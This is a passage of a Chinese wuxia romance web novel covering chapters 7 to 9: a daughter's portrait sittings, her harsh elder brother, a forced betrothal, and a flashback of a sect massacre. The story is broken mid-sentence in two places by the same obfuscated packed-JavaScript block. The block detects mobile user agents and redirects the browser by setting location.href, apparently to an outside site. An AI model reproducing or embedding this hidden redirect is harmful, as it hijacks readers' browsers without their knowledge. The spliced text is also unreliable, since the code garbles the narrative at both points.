姜氏道:“知夏怎么样了?痛失生母她一定很难过,你要多关心关心她。” 提起那不争气的女儿陆掌门就恼火,哼了一声,说道:“她的性子跟她娘一样不可理喻。我打算尽快找门好亲事把她嫁了,省得留在门中给我闯祸丢脸。” 姜氏道:“可她刚及笄,姐姐也尸骨未寒,这么做会不会太心急了?” 陆掌门道:“话是这么说,但寻一门好亲可不简单,咱们先慢慢挑着。丫头那边回头我寻些品德好的先生过来教导,待时机成熟立马把她嫁了。” 姜氏颔首。女子适婚嫁人由父母做主,她一个做姨娘的也不便干涉。 陆掌门看向默不作声的陆子辰,嘱咐道:“子辰,平日你与同辈接触时也替你妹妹留意,碰到合适人选为他们牵个线。” 陆子辰颔首。 说到儿女的终身大事,陆掌门拍拍陆子辰的肩,“你也及冠一年,可有心仪的姑娘?” 陆子辰道:“孩儿不急,只盼能专心为爹分忧。” “为陆家传宗接代也是大事。”陆掌门笑道:“我和你娘都盼着早日抱上大胖孙子。” 姜氏掩唇轻笑,一丝嘲讽从眼底一闪而过,了无踪迹。 陆子辰也罕见微笑,阴翳下的眸子蕴着晦暗不明的情绪。 7. 画像 山中岁月浅,春去秋来,转眼过去三番寒暑。 时值六月,云苍山漫山郁翠,野花惹眼,蝶舞翩翩。 午后,单调的蝉鸣声被两个女子银铃般的笑声打破。云岚院里的大榕树下,陆知夏和江宛若并坐在石桌旁嗑瓜子,目光落在中间一本打开的书册上,不时被上边记载的趣事逗得捧腹大笑。 放弃练剑后,陆知夏按照陆掌门的安排学礼仪、女红,三年来一直表现良好。去年陆掌门逐渐放宽对她的约束,允许她在门中任意走动。陆知夏凭着直爽活泼的性子渐渐与门中弟子熟络,有了自己的交际圈。江宛若便是她新交的好友,二女虽然相差两岁,但志趣相投,闲时常黏在一起玩乐。 眼下她们看的是最新一册的《江湖逸闻录》,是陆知夏从外门弟子那儿预订的,刚送过来。 这本书由江湖上一个消息灵通的闲散组织百晓会编撰,每册收录近三个月来江湖上发生的各种趣闻逸事,偶尔还会附赠江湖才俊或佳人画像。虽是闲书,但私下深受各派弟子喜爱,每册刚出不到一日便售卖一空,销量惊人。上山日子单调无趣,陆知夏只能通过看它解闷,同时还能了解江湖近况,开拓眼界。 “快看这个,主角竟是咱们大师兄。”江宛若翻了一页,眼前豁然一亮,大声道。 陆知夏凑近些看,这页写的是红袖门门主大婚之日发生的趣事,但主角却是她的首徒苏念蓉和陆子辰。 当晚,苏念蓉送客时大胆向暗恋已久的陆子辰表白,陆子辰没有回应便匆匆打马离开。苏念蓉不甘心,兀自打马去追。夜路太黑,苏念蓉人没追到,反而不慎坠马摔伤了腿。陆子辰却无半点怜香惜玉之心,头也不回消失于夜色中。 江宛若恍然大悟,“难怪上个月大师兄从红袖门回来脸色一直很难看。” “被人表白有什么可恼的?”陆知夏嗤笑。 翻过一页,文后附了一幅陆子辰被佳人追着落荒而逃的风趣配图。看着画上陆子辰仓惶滑稽的脸,二女当场笑喷。 陆知夏上气不接下气道:“这苏念蓉也不丑,他怎么跟见了洪水猛兽似的?” “你有没有觉得大师兄有些奇怪?”江宛若道:“他老大不小了,身边也没个红颜知己,平日又不爱搭理女弟子,你说他会不会脑子里缺根筋?” 陆知夏想了想,说道:“不近女色,难道他……” 二女想到一处,意味深长地相视一笑。 她们沉浸在自己的世界里,丝毫未注意身后有人靠近。 陆知夏幸灾乐祸道:“若真是咱们想的那样,爹不知道该多伤心。” “伤心什么?”一个清冷男音问道。 江宛若神色大变,陆知夏还没反应过来,顺嘴答道:“绝后啊,断袖如何给陆家传宗接代?” 江宛若赶紧捂住陆知夏的嘴,“小祖宗,别说了。” 陆知夏这才察觉情况不妙,赶紧将书藏到桌子下。 一道黑色挺拔身影负手绕到二女面前,正是方才她们嘲讽的对象陆子辰。 二女神情略显尴尬,起身作礼,“大师兄。” 陆知夏从不承认这个同父异母的大哥,私底下都是直呼其名,迫于无奈时才称他一声大师兄。 陆子辰面色不善,似乎已知道方才她们在说他坏话。陆知夏暗骂自己太不小心。 “把东西交出来。”修长的大手伸到陆知夏面前。 陆知夏极不情愿地从桌子底下拿出一本册子,“这只是一本书罢了,你要它作甚?” “拿来。”陆子辰声音一沉,浑身戾气慑人,吓得二女心头一跳。 迫于压力,陆知夏心不甘情不愿地将未看完的《江湖逸闻录》上交。 书册已合上,陆子辰也懒得翻看,右手汇聚内力紧捏。短暂悚人的挤碎声后,好好的书册在他掌中化为碎末,随风从他指缝散落。 二女紧张地咽了咽唾沫,身子微微发抖。 陆子辰道:“以后不许再看这种胡编乱造的书,否则按门规处置。” “是。”二女怯怯点头。 陆子辰看向江宛若,斥责道:“知夏不懂事,你怎么也跟着胡闹。日后你俩若想继续来往便给我循规蹈矩些,否则……” 江宛若背心冒汗,慌忙认错,“大师兄教训得是,宛若回去一定好好反省。”言罢,逃也似地溜了。 江宛若离开后,陆子辰看向陆知夏,这才注意到她今日穿了一身新衣,还精心打扮了一番。刚想罚她的话又咽下,陆子辰忍不住问道:“你穿成这样要去见谁?” 陆知夏抚着鬓发,略显得意道:“爹找了有名的画师给我画像,一会儿人就到了。” 陆子辰淡淡道:“既然如此,今日的罚便免了,但明日太阳落山前记得把门规抄五十遍送过来。” 陆知夏柳眉一竖,不解道:“宛若也看了,她怎么没事?” “谁买的书谁担责。”陆子辰道:“别以为你三番四次从外门弟子买禁书的事我不知道。这回人赃并获我给的只是小小惩戒,若还敢有下回,你就到静思洞待着吧。” 陆知夏气得直跺脚却不敢顶嘴。陆子辰是奉命看管她的大哥,又是督导门中所有弟子言行的首席弟子,她无法违抗他的意思,只能自认倒霉。 适时,一名弟子领着个青衫公子来到云岚院。 二人朝陆子辰恭敬作礼。弟子介绍道:“大师兄,这位是来为二小姐作画的周公子。” 清冷目光落在一旁半束长发、风流倜傥的年轻男子身上。虽然他看上去态度友好,陆子辰却没来由对他生出一丝厌恶。 “周公子我们去哪儿画?”陆知夏早就不想跟陆子辰待在一处,对周公子主动笑脸相迎。 如今的陆知夏比起三年前长开许多,精心养护下肤白赛雪,面若芙蓉,即使微微一笑也令人心神荡漾。 周公子怔了怔,眉眼含笑道:“不如二小姐同我去云香园吧,那儿百花娇艳,更衬二小姐妍丽秀雅之姿。” “好啊。”陆知夏巴不得快点离开,抢先走在前边。周公子匆匆跟上。 看着二人有说有笑离开云岚院,陆子辰眉头紧蹙,鬼使神差跟了上去。 * 云香园里,陆知夏手执牡丹团扇娴静立于一颗盛放的梨花树下。粉色交领大袖长裙勾勒出二九妙龄女子的窈窕曲线。 清风徐徐,雪白花瓣飘落,场景唯美动人。陆知夏展颜一笑,梨涡轻旋,美目生辉,令路过之人不由驻足凝望。 三年来,陆掌门一直在为陆知夏物色合适人家,甚至主动送画像上门自荐,但结果总是不尽人意。眼看比自家女儿条件差的姑娘都攀上好亲事,陆掌门最近越发焦虑,认为是之前的画像太逊色,故而又花重金寻云炀有名的画师来为女儿重新作画,希望能带来一丝转机。 围观的人越来越多,陆知夏略显局促,问道:“周公子,我们还要画多久?” 周公子画笔微顿,抬头微笑道:“世人皆有爱美之心,二小姐又天生丽质,美赛群芳,大家自然忍不住多看几眼。小姐不必拘谨,给在下半个时辰便好。” 被人一番夸赞,陆知夏心花怒放,掩唇轻笑,因嫁不出去被陆家父子嘲讽打击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083120|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的信心恢复不少。 一阵大风拂过,树下佳人发丝微乱。 周公子搁笔来到陆知夏跟前,抬手为她整理鬓发,动作细致温柔,眉眼脉脉含情。陆知夏含羞低头,周公子手贴着陆知夏耳际落下,指腹淡淡扫过佳人侧脸,唇角微扬。 面对温柔公子似有若无的挑逗,陆知夏一时不知所措,红着脸愣在原地,脑中一片空白。 “二小姐可有心上人?”周公子大起胆,张口正欲继续说些甜言蜜语,肩上猛地一沉,一只大手紧紧按住他肩头,强行将他身子转过去。 周公子还未反应过来,一个冷硬拳头迎面而来将他打翻在地,半边脸都麻了,张口吐出和着血的两颗门牙,满嘴血腥味儿。 见状,周围人一阵惊呼,陆知夏也吓得躲到树后,怯怯探出两只眼睛看着忽然出现的陆子辰。只见他杀气腾腾走近地上的青衫男子,厉声道:“请你来作画不是让你来调戏懵懂姑娘的!” “我没有。”周公子怯怯摇头。 陆子辰目光如炬,岂容他狡辩,即刻唤来两名弟子,“此人众目睽睽之下调戏二小姐,背地里定也干了不少龌龊事,即刻将他扭送官府彻查。” “大公子,我是冤枉的……”尾音未落,周公子脸上又挨了一记重拳,当场吐血昏死过去。两名弟子即刻将他拖下去。 陆子辰转头看向躲在树后的人,训斥道:“你平日不是牙尖嘴利吗?为何被人调戏也不敢反抗?” 陆知夏缩回梨树后不敢吱声。 陆子辰绕到树后,冷嘲道:“还是人家恭维你几句就飘飘然,对人家心生好感了?” “你休要胡说!”陆知夏目光闪烁,羞恼道:“方才我不过是站久了反应有些迟顿。” 陆子辰上前一步,俯身直视着陆知夏眸子,冷声警告道:“你一日未嫁便还是陆家二小姐,一言一行代表的都是陆家,若与别的男子私下接触被传闲话,你就等着被爹打断腿吧。” 又拿陆家的名声来压她!陆知夏冷哼一声,负气大步走开。 经过周公子未完成的画作时,陆知夏仰天长叹。老天爷何时才能赐她一个如意郎君,这个压抑的家她片刻也不想待了。 * 两日后,门中又来几名远近闻名的画师。陆子辰从中挑选一名稳重的老画师带到云岚院为陆知夏作画。 作画地点在云岚院里的大榕树下。老画师动作迟缓,陆知夏从上午站到太阳落山,腰腿酸痛难忍。 回屋喝了盏茶,老画师将成品拿来给陆家兄妹过目。 陆知夏看着画卷上婷婷玉立、惟妙惟肖的妍丽女子满意点头。果然是慢工出细活,不枉她辛苦站了一日。 陆子辰携画卷带老画师去向陆掌门复命。 陆掌门看过画卷后也颇为满意,命老画师下去照此多画几幅明日送来。 一幅画五十两银子,陆家一次定了十幅,老画师一把年纪得此大单喜不自胜,回客房用饭休息片刻便连夜描摹画作,翌日午后顶着一对黑眼圈按时交付成品。 总管陆乾将画卷一一过目,确认无误后让弟子带老画师下去领赏。 陆乾将画分别装入事先备好的锦盒,还没来得及通知弟子将它们送出,陆子辰便有事找他。 二人离开后,窗子从外边轻轻打开。一名面覆黑色鬼面的男子翻窗进来,手脚麻利地将锦盒里的画卷与带来的画卷一一调换,再轻手轻脚离开,全程谨慎,不落任何痕迹。 不久,陆乾从外边回来,稍作整理便唤来弟子将桌上的锦盒按陆掌门给的信件一一分配好,加急送下山。 8. 定亲 半个月过去,陆掌门向江湖世家和京中显贵送出的信件和画像皆如石沉大海,没有任何回应。陆掌门不解,又拉不下脸去打听缘由,自认为是陆知夏命不好,愁得添了不少白发。 适逢莫离门送来喜帖,莫离门门主爱子不久将大婚,陆掌门携礼前去道贺,暂时将这些烦心事抛诸脑后。 陆家父子离山多日,陆知夏得以度过一段清闲悠然时光。 每日上午跟教授礼仪女红的柳先生上课后,下午陆知夏就泡在厨房里研究美食,柳先生布置的绣花课业她是一点也不想做。比起闷在房里做女红,陆知夏更喜欢动手下厨。 是日下午,陆知夏又端着新鲜出锅的点心从厨房里出来,热情招呼小玉和桂嬷嬷来品尝。 三人坐在小厅上,小玉看着瓷碟里三层切得方方正正、甜香四溢的杏仁糕,迫不及待拈起一块品尝。 糕点入口香软绵糯,甜而不腻,小玉赞叹道:“小姐手艺越来越好了。” 桂嬷嬷也尝了一块,笑道:“若是小姐的绣工也有厨艺这般精进,柳先生必定十分欣慰。” 陆知夏吃着自己做的糕点,淡淡道:“绣花对我来说太难了,不但要心细,还得手巧,十天半个月我也绣不出一副像样的作品,我已经打算放弃了。” 桂嬷嬷道:“绣工得慢慢练,急不得。练好绣工,日后等你有了心上人就可以绣荷包赠他传达心意。” 陆知夏忍不住叹息。她连婚事都不能做主,哪还有机会遇到心上人? 院门忽然从外边打开,陆子辰不知何时回山,跨入院中,径直朝小厅走来。 小玉和桂嬷嬷收拾东西匆匆退下。陆知夏拿起一旁针线绣绷,假装专心刺绣。 陆子辰个高腿长很快便跨入厅中,一股淡淡的甜香味引起他的注意,“看来我不在山上这段日子你过得挺滋润的。” 陆知夏握针的手一抖,镇定继续绣自己的。 陆子辰缓步来到陆知夏身边,扫了一眼绣绷上歪七扭八的奇怪花样,冷嗤道:“若你的玩心能分一半在学女红上,也不至于三年连一朵牡丹也绣不好。” 陆知夏放下手里的东西,“我绣不绣得好关你什么事?我又不是要凭这手艺去当绣娘,差不多就行了呗。” 陆子辰冷冷道:“样样都差不多,到头来就是什么本事也没有。你就只有这点出息?” 陆知夏将手里的绣绷扔在地上,大声道:“对,我就是没出息,姑奶奶我不绣了!” 陆子辰扣住她左腕,“三餐之外偷偷进食,还顶撞尊长,按门规如何处置来着?我看上回那五十遍门规你是白抄了。” 腕骨发出咯吱轻响,陆知夏眉头紧拧,痛呼道:“我,我错了。” 陆子辰松手,说道:“限你五日内绣出一朵工整的牡丹,否则杖责二十。” “是。”陆知夏揉着疼麻的左腕,不情愿地应下。 临走前,陆子辰交代陆知夏晚上到花厅赴宴。门中来了贵客,陆掌门让她盛装打扮一番前去会客,不能缺席。 陆知夏还没来得及问客人是谁,陆子辰已出了门。 * 晚上,花厅里布置一新,灯火明亮。 陆知夏按时赴宴,进门便看到父亲正同一名年纪相仿的蓝袍长者说话,上前盈盈施礼,恭敬道:“知夏拜见父亲,刘叔叔。” 蓝袍长者正是玄阴派掌门刘义,此次赴莫离门道贺与陆掌门相谈甚欢,结伴回程中应邀来云苍派做客。 “这个可人儿是知夏?”刘掌门将面前的妍丽姑娘上下打量一番。 闻言,同姜氏说话的微胖妇人走过来,惊讶道:“多年不见,小知夏如今出落成大美人了。” “见过刘婶婶。”陆知夏朝刘夫人欠身。 刘夫人笑道:“知夏今年多大?” 陆掌门道:“年前刚满十八。” 刘夫人略显惊讶,“十八不小了,为何还待字闺中?陆师兄还不抓紧给她定门好亲事。” 陆掌门叹息道:“我倒是想,可她没这个福气。三年了,连个上门提亲的人都没有。” 刘夫人不信,这么标志的丫头怎会没人要? 陆掌门道:“实不相瞒,小女顽劣,性子蛮横,哪家公子看得上她?” 刘夫人道:“陆师兄过谦了,我看知夏这孩子挺乖的呀。” 陆掌门冷嗤。 陆子辰事务繁忙,刚刚赶到。 人到齐后,众人入席落座。丫鬟们端着美酒佳肴陆续进门。 两家人在等上菜时闲聊起来。 刘夫人很喜欢陆知夏这个丫头,拉她坐在她身边,问道:“知夏想找什么样的夫婿?” 陆知夏怔了怔。自古婚姻大事皆由父母做主,她还从未认真想过这件事。 刘夫人见陆知夏一副懵懵懂懂的模样,心知她是个未经人事的老实姑娘,苦口婆心道:“男人都喜欢年轻水灵的姑娘,趁年轻你得抓点紧。这挑夫婿呢眼光不能太高,差不多就行了,挑来挑去容易错过花期,到时候想嫁也没人要了。” “多谢婶婶提点。”陆知夏尴尬一笑。她的婚事哪由得她选? 可嫁人真的是她唯一的出路吗?陆知夏心里莫名生出一问。 刘夫人看向对面的陆子辰,“话说回来,家兄未娶又怎有妹妹先嫁的道理。子辰也老大不小了,可有心仪的姑娘?” 清冷的目光无意间瞟了一眼陆知夏,很快又移开。陆子辰淡淡道:“未曾。” 刘夫人看向姜氏,着急道:“妹妹,子辰也老大不小了,没心仪的姑娘可以先纳一名妾室,成天一个人独来独往江湖上都有闲话了。” 陆掌门道:“子辰我们倒是不担心,江湖上爱慕他的好姑娘众多,让他自己慢慢挑。最让我担心的是知夏……” 陆知夏心里不是滋味。父亲竟为了袒护自己的宝贝儿子拿她来当挡箭牌。 美酒佳肴上齐,两家人举杯共饮。 陆知夏第一次喝酒,虽然只喝了半杯就头晕得厉害。无奈,陆掌门便让丫鬟们扶她回去休息。 * 酒过三巡,一桌饭菜也吃得差不多。 陆掌门道:“不知贤弟、弟妹可还满意知夏这个丫头?” “满意,十分满意。”刘夫人抢先道,刘掌门也点头。 陆掌门直言道:“我知道斐儿的事是你们夫妻俩的心病,知夏的婚事也令我头疼不已,不如咱们两家结为亲家如何?” “陆师兄此话当真?”刘夫人两眼闪着激动光芒。 刘掌门却略显忧虑,“知夏妍丽可人,性子活泼,做儿媳我自然满意。但斐儿的情况你也知道,你舍得将自己如花似玉的女儿许给我那不成器的儿子? “就你话多。”刘夫人瞪了刘掌门一眼,“人家陆师兄主动开口自是愿意。” 陆掌门道:“闲弟与我结义多年,相互扶持度过许多难关。斐儿是你们夫妇唯一的孩子,我早就有意要把知夏许给他,以延续两派情谊。不过从前斐儿看不上知夏,不知如今……” 刘夫人道:“陆师兄放心,斐儿如今乖得很,知夏嫁过来我们定不会让她吃亏。” 刘掌门是个谨慎之人,说道:“若知夏不嫌弃我家斐儿,这桩婚事我自然没有意见。” 陆掌门道:“婚姻大事由我们父母做主,知夏虽然性子顽劣,但骨子里单纯懂事,日后我慢慢同她说,她会明白咱们做长辈的一番苦心的。” “甚好,那这桩婚事咱们两家就这么定了。”刘夫人迫不及待地说道,生怕刘掌门再说什么丧气话把这门好亲事给搅黄了。 女儿的亲事总算定下,陆掌门终于卸下心头包袱。这个女儿虽然不能为他攀附权贵,但好歹能拉拢这个与他渐行渐远的义弟,最后他也不亏。 陆知夏刚回到云岚院便打了个喷嚏,明明已入夏,为何忽然浑身发冷? 丫鬟们扶陆知夏回房躺下才离去。 小玉打了一盆清水过来替陆知夏擦脸。陆知夏今晚什么也没吃,肚子饿得咕咕叫,小玉即刻到厨房给她煮面。 朦胧中,陆知夏闻到一股香味睁开眼,小玉将做好的面端到床前,扶陆知夏坐起来吃。 小脸酡红的陆知夏端着面甜甜一笑,“果然还是我的小玉最体贴。” 小玉见陆知夏晕乎乎的,怕她把面洒了,亲自端着面小口小口地喂她吃。 一碗面很快见底,陆知夏感觉胃里暖暖饱饱的,身上也跟着暖洋洋的,心满意足地倒头大睡。 * 深夜,云朝阁书房里仍亮着灯。 两位掌门坐在茶几旁品茶,谈起不久前亲历的一场祸事,具是眉头紧锁。 十年来,中原武林并不太平,各派武学秘籍接连丢失一事至今仍未查出结果,苗疆魔教乌月教又死灰复燃,近些年潜入中原频频制造事端,搅得整个江湖鸡犬不宁。 前不久,乌月教歹人更是光明正大在莫离门少主大婚当日作乱,于迎亲途中设伏杀害新郎新娘,令一场好端端的喜事变成丧事。 刘掌门道:“如今乌月教大张旗鼓侵扰中原,大哥觉得武林盟那位会做何应对?” 陆掌门冷哼一声,说道:“姓闫的平日除了会扮老好人还有什么能耐?出事也只会召集众人商议对策,各方争论个几日也得不出个结果,最后也不了了之。” 刘掌门道:“这也难怪,当年正邪两道于关月山大战后两败俱伤,时隔多年很多门派仍在休养生息,想要齐聚人心再战恐怕不易。” 陆掌门道:“所以我们要为自己考虑。苗疆蛮子已经开始把手伸向六大门派,咱们得早做提防。” “大哥的意思是?”刘掌门看向陆掌门。 陆掌门直言道:“待你我两家结亲,咱们联手拉拢更多门派构筑新的盟会如何?” 刘掌门惊讶道:“大哥要与武林盟抗衡?” 陆掌门冷哼,“那个位置本就该属于我。让他姓闫的稳坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083121|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十多年算便宜他了。” “这……”刘掌门犹豫。如今的武林盟虽不如过去莫掌门领导时一呼百应,但闫盟主这些年拉拢的势力也不少,绝非轻易能撼动的。 陆掌门见对方犹豫,意味深长道:“贤弟莫要忘了,你我早就是一条船上的人。不要为了别人给的一点小恩小惠就忘了咱们曾经出生入死的手足情谊。” 刘掌门给陆掌门斟了杯茶,说道:“这桩婚事大哥真的不悔?” “不悔。”陆掌门略微浑浊的瞳仁泛着森冷的光。为了夺回属于他的东西,牺牲一个区区不孝女又如何? 刘掌门道:“那我便同大哥再搏上一搏。” * 门中有要事,刘掌门不便久留,翌日清早陆掌门便亲自送玄阴派一行人下山。 两派亲事已定,接下来按礼俗纳彩过门即可。刘陆两家各得其所,抱拳相别。 回到门中,陆家父子径直来到云岚院,将两派定亲之事告诉陆知夏。 听闻此事,陆知夏跌坐在地,头顶一片暴雨惊雷,半天回不过神。 这三年她虽然没下过山,但通过《江湖逸闻录》多少了解一些江湖之事。玄阴派刘掌门独子刘斐是江湖上出名的花花公子,与多派女弟子的风流韵事时常在册。他还时常调戏良家妇女,还未及冠便已惹了无数风流债。半年前,许是苍天有眼,这厮下山鬼混时误中奇毒命悬一线,刘掌门拉下老脸到妙云谷跪求三日谷主才肯出手相救。刘斐虽侥幸捡回一命,但却成了生活不能自理的傻子。 当时陆知夏还幸灾乐祸地骂他活该,想不到如今接手烂摊子的人竟是她! 盼了三年却盼来一桩荒唐婚事,陆知夏不敢相信父亲竟会让她嫁给一个遭天谴的傻子?!她眼眶一红,顾不得礼数坐在地上蹬腿撒泼,“我不嫁!我不嫁!我死也不嫁!” 陆掌门皱眉道:“瞧你这泼样,除了刘家还有哪家公子肯娶你?你不嫁,难道想一辈子窝在云苍?” 陆知夏哽咽道:“即便一个人老死云苍我也不嫁!” 陆掌门早已料到陆知夏的反应,耐心劝道:“你不是不喜欢被人管教吗?刘掌门一家很喜欢你,你嫁过去他们必然对你百依百顺,不会让你受半点委屈,你做刘家的媳妇没准比待在云苍还舒坦。” “无论如何我都不会嫁给一个傻子!”陆知夏不为所动,毅然决然跑出门去。 “你去哪?给我回来!”陆掌门耐心全无,登时火冒三丈。 陆子辰反应迅速跃出门将陆知夏截住,反手将她押回陆掌门面前。 陆知夏抽泣道:“这个家没法待了,我要下山,我要回云炀。” “不孝女,你是不是想气死我?”陆掌门愤愤道:“我养你这么多年,供你吃好穿好,你怎么就不懂知恩图报,为两派情谊的延续做些贡献?” 闻言,陆知夏恍然大悟。难怪父亲这些年虽然对她态度冷淡却从未亏待她,原来竟是把她当成猪仔,养肥了称斤来卖。 陆知夏既失望又难过,抱着一丝希望跪在陆掌门面前哀求道:“女儿没有这么深明大义,求爹放过我吧,我真的不想嫁给一个傻子。” “婚事已定,你就等着做刘家儿媳吧。”陆掌门冷哼一声拂袖而去。 “爹。”陆知夏跌跌撞撞追上去抱住陆掌门的大腿,“爹,你为何如此狠心,难道我不是你的亲生女儿吗?” “混账!”陆掌门蹬开陆知夏,厉声道:“若非你是我的亲生女儿,我早就让执法堂的弟子将你杖毙了,岂会纵容你一再胡闹。” 看着父亲凌厉凶狠的眼神,陆知夏吓得说不出话,唯有眼泪不停流下。 陆家父子离开,云岚院的大门也重重合上,被人在外边落了锁。 “没有我的允许,不许二小姐踏出云岚院半步。” 外边传来陆掌门威严的声音。 再次被禁足,陆知夏心如死灰。过去三年安稳的日子像是一场梦,如今梦醒了她才发现自己还是当年一无所有的自己…… 命运始终如此残酷,即使身处骄阳烈日下,陆知夏依旧冷得发抖,紧紧蜷缩着抱紧自己,苦笑流泪。 小玉和桂嬷嬷在一旁看得揪心,上前抱住陆知夏。 强烈的委屈感袭来,陆知夏失声痛哭,尽情宣泄压抑已久的情绪。 小玉和桂嬷嬷眼眶通红,主仆三人抱头痛哭,温馨小院渐渐蒙上一层阴影。 夜里,陆知夏披头散发立在雕花窗前发呆,洁白月光照亮一张泪痕交错的小脸。 哭了一日,陆知夏慢慢冷静下来。既然乖顺和低声下气都换不来父亲的怜惜,那往后她便只做自己。 空洞的眼神恢复一丝活力,陆知夏擦干脸上泪水,恨恨望着前方。眼下只是定亲,还未成亲,这桩婚事如此不公,不到最后一刻她绝不妥协! 陆知夏望向院墙一角,心中萌生一个大胆念头。 好在这些年她暗中有所准备,这次她决定豁出去了! 9. 噩梦 夏至刚过云炀一带便暴雨频频。 深夜,云苍山再次被暴雨冲刷。 屋外雷雨交加,闪电不断,漆黑的屋子里传来男子紊乱的呼吸声。床上双眼紧闭的男子眉头紧皱,不安地翻来覆去,看上去又被梦魇缠住。 那是一段埋藏在他心底多年的隐秘记忆,伴着震撼人心的雷雨声再度悄无声息潜入他的梦境,唤醒他潜意识里的恐惧…… 梦境里,同样是一个雷雨交加的深夜。 漆黑的屋子里没有一丝光亮,倏然一道闪电划破夜空,盛大的白光映出帘子后一个握剑的妇人和一个十岁男童的身影。他们一脸惊惧,紧张倾听着屋外动静。 暴雨伴着狂风猛烈冲刷着人间。这场雨来得真不是时候,像是外边那些恶徒的帮凶,配合着掩盖一场血腥的杀戮。 “仔细找,不能留一个活口。” 隔着雨声传来一个男人低沉冰冷的声音,仿佛地府派来索命的使者。 妇人将书架旁一个书筐里的书都搬出来,推男童进去,小声叮嘱道:“风儿记住,一会儿无论外边发生什么你千万不能出来。” 一道闪电划过,男童紧张地拉着妇人衣袖,不舍道:“娘,让我和你一起把坏人赶跑吧。” “不可以。”妇人抚着男童面颊,眼中隐有泪光,“你是爹娘唯一的孩子,也是净河帮少主,若今夜爹娘和其他人在劫难逃,这笔血债你要替我们讨回来。” “娘。”男童泪流满面。 妇人不再犹豫即刻将书筐合上,将之前的书册摞在上边掩饰,“好孩子,乖乖待着别出声,一会儿自己寻机会逃出去。” 男童缩在窄小的书筐里,借着筐子缝隙紧张往外看。 “砰。” 房门突然被人踹开,狂风卷着雨滴冲进屋里。闪电中,门前地面上映出一个高大黑影。 妇人悄悄藏起来。 片刻,一个黑衣蒙面人从外边慢慢走进来,手里的长剑还滴着血水。屋里视线不佳,情况不明,他提着剑谨慎往前走。 帘子后忽然刺出一剑,蒙面人旋身一避,险险躲过一击。 一个年轻妇人提剑划破帘子冲出来,用剑尖直指蒙面人,骂道:“无耻小人胆敢偷袭我净河帮总堂,有种你摘下面巾,咱们光明正大较量!” 蒙面人不语,身上杀气却越来越重。 躲在书筐的男童还未看清蒙面人如何出手,只听妇人一声凄厉惨叫,斜倒在地没了动静。大股鲜血从看不见的伤口流出,转眼将妇人浸在一片血泽中。 屋里弥漫着浓重的血腥味,男童睁大眼睛看着外边发生的一切,额上满是细汗,胸脯剧烈起伏。 蒙面人俯身看着地上一息残存的妇人,冷冷道:“交出刀谱,我可以留你全尸。” 妇人嘴里小声说着什么,蒙面人凑近细听。一只血爪猛地袭向他的脸,蒙面人躲避不及,黑色面巾被妇人扯下,右边脸颊也被她指甲抓破,从眉头至脸颊留下一道细长爪痕。 “贱人!”黑衣人捂脸痛骂,目露凶光,举剑一挥而下。 寒光掠起一片飞溅的热血。妇人的头颅也滚落一旁。圆睁的双眼定格着死亡前一刻的愤恨,始终不肯瞑目。 亲眼目睹这残忍可怕的一幕,书筐里的男童险些惊叫出声。热泪模糊双眼,他拼命咬着自己的拳头,纵使咬破皮肉啃到骨也不肯松口。他谨记着母亲的叮嘱,拼命克制着不让自己崩溃。 杀完人黑衣人并未离去,他如同鬼魅一般在房内四处游走,手上不停翻东西,似乎在寻找什么。 男童紧盯着黑衣人,眼中刻骨的恨意若能化成利箭早就将他扎成刺猬。 鬼魅身影距离男童藏身的书筐越来越近,危险也一步步逼近。男童握紧手里的弯刀,若不幸被发现,他便与他同归于尽。 暴雨渐停,屋外厮杀声、惨叫声变得清晰起来。整个净河帮总堂在经历一场惨无人道的屠杀。 书筐里的男童紧盯着走近的黑衣人,慢慢拔出手里的弯刀,等待最佳的出手时机。 “夫人!”门外传来一个撕心裂肺的男音。 一名身着青袍的中年男子提着把长刀跃入,看到爱妻身首异处,他挥刀便对着身上沾满妻子鲜血的黑衣人频使杀招,“屠我门人,杀我发妻,我要你们血债血偿!” 青袍男子出招虽狠,但黑衣人却并无惧意,抬剑专注应对,自如挡下来势汹汹的刀锋。 双方实力旗鼓相当,连过数招仍胜负未分。 黑衣人喝道:“沈宜,外边都是我们的人,你已无路可逃,若不想同你夫人一般死无全尸就老实把净一刀谱交出来。兴许我还能大发慈悲,饶你一命。” 沈宜看着地上死不瞑目的妻子,握剑的手关节发白,从牙缝间挤出两个字:“做梦!” “我看你是不见棺材不落泪。”黑衣人剑锋一凛,朝青袍男子疾剑刺去。 沈宜提起所剩无几的内力挥刀抵挡,二人缠斗不休,屋里精美陈设也被打个稀烂。这个黑衣人的武功不在他之下,狠辣的招式不似中原正派路数,不知是何方邪道歹人。今晚这场袭击他们挑选的时间也很巧妙,仿佛精心策划许久。 今晚净河帮总堂在门中为少帮主举办十一岁生辰宴,长老们及各分堂堂主带着家眷前来道贺,大家欢聚一堂开怀畅饮,其乐融融。却不料周围早已暗藏杀机,他们早已是别人刀口下待宰的羔羊。 宴会刚散,众人还沉浸在欢愉中醉意未醒之时,一大群来历不明、武功高强的黑衣人便闯入门中,肆意大开杀戒。歹人将各处出口封锁,阴损手段频出,门中高手尽数折损,不到半个时辰总堂上下百余人几无活口。 沈宜与黑衣人连过数十招后脚步踉跄,疲累不堪。先前在外边恶战已耗去他不少内力,如今又临强敌,饶是他武功高强也经不起长时间消耗,出招已显吃力。 